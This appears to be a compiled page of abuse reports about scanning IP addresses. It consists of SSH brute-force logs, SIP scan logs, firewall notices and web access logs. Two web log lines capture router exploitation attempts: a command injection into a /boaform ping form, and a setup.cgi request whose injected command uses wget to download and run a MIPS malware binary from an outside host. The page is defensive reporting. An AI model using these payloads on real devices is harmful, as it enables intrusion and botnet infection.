May 26 10:45:07 jane sshd[14201]: Failed password for root from 37.49.226.211 port 48012 ssh2
...

2020-05-25T21:22:11.132267rocketchat.forhosting.nl sshd[12016]: Failed password for root from 37.49.226.211 port 41526 ssh2
2020-05-25T21:22:23.896376rocketchat.forhosting.nl sshd[12018]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-25T21:22:25.910987rocketchat.forhosting.nl sshd[12018]: Failed password for root from 37.49.226.211 port 55176 ssh2
...

SSH Brute-Force reported by Fail2Ban

May 20 20:13:27 *host* sshd\[1483\]: Unable to negotiate with 37.49.226.211 port 55488: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 \[preauth\]

May 15 **REMOVED** sshd\[3525\]: Invalid user user from 37.49.226.211
May 15 **REMOVED** sshd\[3529\]: Invalid user postgres from 37.49.226.211
May 15 **REMOVED** sshd\[3531\]: Invalid user oracle from 37.49.226.211

prod6
...

May 14 00:14:53 srv01 sshd[24687]: Did not receive identification string from 37.49.226.211 port 58092
May 14 00:15:09 srv01 sshd[24705]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May 14 00:15:12 srv01 sshd[24705]: Failed password for root from 37.49.226.211 port 49942 ssh2
May 14 00:15:23 srv01 sshd[24717]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May 14 00:15:25 srv01 sshd[24717]: Failed password for root from 37.49.226.211 port 47262 ssh2
...

May  9 22:03:31 mellenthin sshd[30658]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  9 22:03:33 mellenthin sshd[30658]: Failed password for invalid user root from 37.49.226.211 port 58992 ssh2

May  9 00:35:41 server2 sshd\[8327\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:35:54 server2 sshd\[8333\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:08 server2 sshd\[8358\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:20 server2 sshd\[8366\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:32 server2 sshd\[8371\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:44 server2 sshd\[8376\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers

May  8 12:26:25 ift sshd\[59615\]: Failed password for root from 37.49.226.211 port 57638 ssh2May  8 12:26:36 ift sshd\[59623\]: Failed password for root from 37.49.226.211 port 54596 ssh2May  8 12:26:48 ift sshd\[59625\]: Failed password for root from 37.49.226.211 port 51554 ssh2May  8 12:26:59 ift sshd\[59630\]: Failed password for root from 37.49.226.211 port 48700 ssh2May  8 12:27:10 ift sshd\[59632\]: Failed password for root from 37.49.226.211 port 45508 ssh2
...

SSH brute-force attempt

$f2bV_matches

SSH bruteforce

May  4 05:58:45 MainVPS sshd[13949]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:58:48 MainVPS sshd[13949]: Failed password for root from 37.49.226.211 port 52864 ssh2
May  4 05:58:58 MainVPS sshd[14248]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:59:01 MainVPS sshd[14248]: Failed password for root from 37.49.226.211 port 49618 ssh2
May  4 05:59:11 MainVPS sshd[14340]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:59:13 MainVPS sshd[14340]: Failed password for root from 37.49.226.211 port 46386 ssh2
...

2020-05-03T23:47:22.836137mail.broermann.family sshd[8683]: Failed password for root from 37.49.226.211 port 60490 ssh2
2020-05-03T23:47:32.475166mail.broermann.family sshd[8686]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-03T23:47:34.346138mail.broermann.family sshd[8686]: Failed password for root from 37.49.226.211 port 60686 ssh2
2020-05-03T23:47:43.980560mail.broermann.family sshd[8689]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-03T23:47:45.695704mail.broermann.family sshd[8689]: Failed password for root from 37.49.226.211 port 60936 ssh2
...

May  3 20:55:21 tor-proxy-02 sshd\[5619\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  3 20:55:32 tor-proxy-02 sshd\[5621\]: Invalid user admin from 37.49.226.211 port 33044
May  3 20:55:44 tor-proxy-02 sshd\[5627\]: Invalid user ubuntu from 37.49.226.211 port 59116
...

May  3 07:50:17 ip-172-31-61-156 sshd[12837]: Invalid user admin from 37.49.226.211
May  3 07:50:20 ip-172-31-61-156 sshd[12837]: Failed password for invalid user admin from 37.49.226.211 port 34928 ssh2
May  3 07:50:31 ip-172-31-61-156 sshd[12852]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=ubuntu
May  3 07:50:33 ip-172-31-61-156 sshd[12852]: Failed password for ubuntu from 37.49.226.211 port 36358 ssh2
May  3 07:50:43 ip-172-31-61-156 sshd[12861]: Invalid user oracle from 37.49.226.211
...

May  2 00:49:55 master sshd[23723]: Did not receive identification string from 37.49.226.211
May  2 00:50:11 master sshd[23724]: Failed password for root from 37.49.226.211 port 51612 ssh2
May  2 00:50:22 master sshd[23726]: Failed password for invalid user admin from 37.49.226.211 port 53054 ssh2
May  2 00:50:35 master sshd[23728]: Failed password for invalid user ubuntu from 37.49.226.211 port 54520 ssh2
May  2 00:50:48 master sshd[23730]: Failed password for invalid user oracle from 37.49.226.211 port 55974 ssh2
May  2 00:51:01 master sshd[23732]: Failed password for invalid user test from 37.49.226.211 port 57424 ssh2
May  2 00:51:13 master sshd[23734]: Failed password for invalid user guest from 37.49.226.211 port 58884 ssh2
May  2 00:51:27 master sshd[23736]: Failed password for root from 37.49.226.211 port 60344 ssh2
May  2 00:51:37 master sshd[23738]: Failed password for invalid user oracle from 37.49.226.211 port 33556 ssh2

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 206.221.80.248 to port 8080

Unauthorized connection attempt detected from IP address 211.195.159.149 to port 23

Unauthorized connection attempt detected from IP address 178.207.128.225 to port 445

Port probing on unauthorized port 23

Unauthorized connection attempt detected from IP address 213.66.45.122 to port 23

Unauthorized connection attempt detected from IP address 89.40.73.232 to port 443

Unauthorized connection attempt detected from IP address 211.197.144.103 to port 81

Unauthorized connection attempt detected from IP address 85.93.20.87 to port 3306

scans once in preceeding hours on the ports (in chronological order) 24742 resulting in total of 9 scans from 68.183.0.0/16 block.

Unauthorized connection attempt detected from IP address 89.40.73.196 to port 8899

Unauthorized connection attempt detected from IP address 89.40.73.231 to port 8888

Unauthorized connection attempt detected from IP address 89.40.73.210 to port 81

Unauthorized connection attempt detected from IP address 66.42.21.51 to port 23

Unauthorized connection attempt detected from IP address 200.232.204.247 to port 8080

Unauthorized connection attempt detected from IP address 89.40.73.206 to port 8443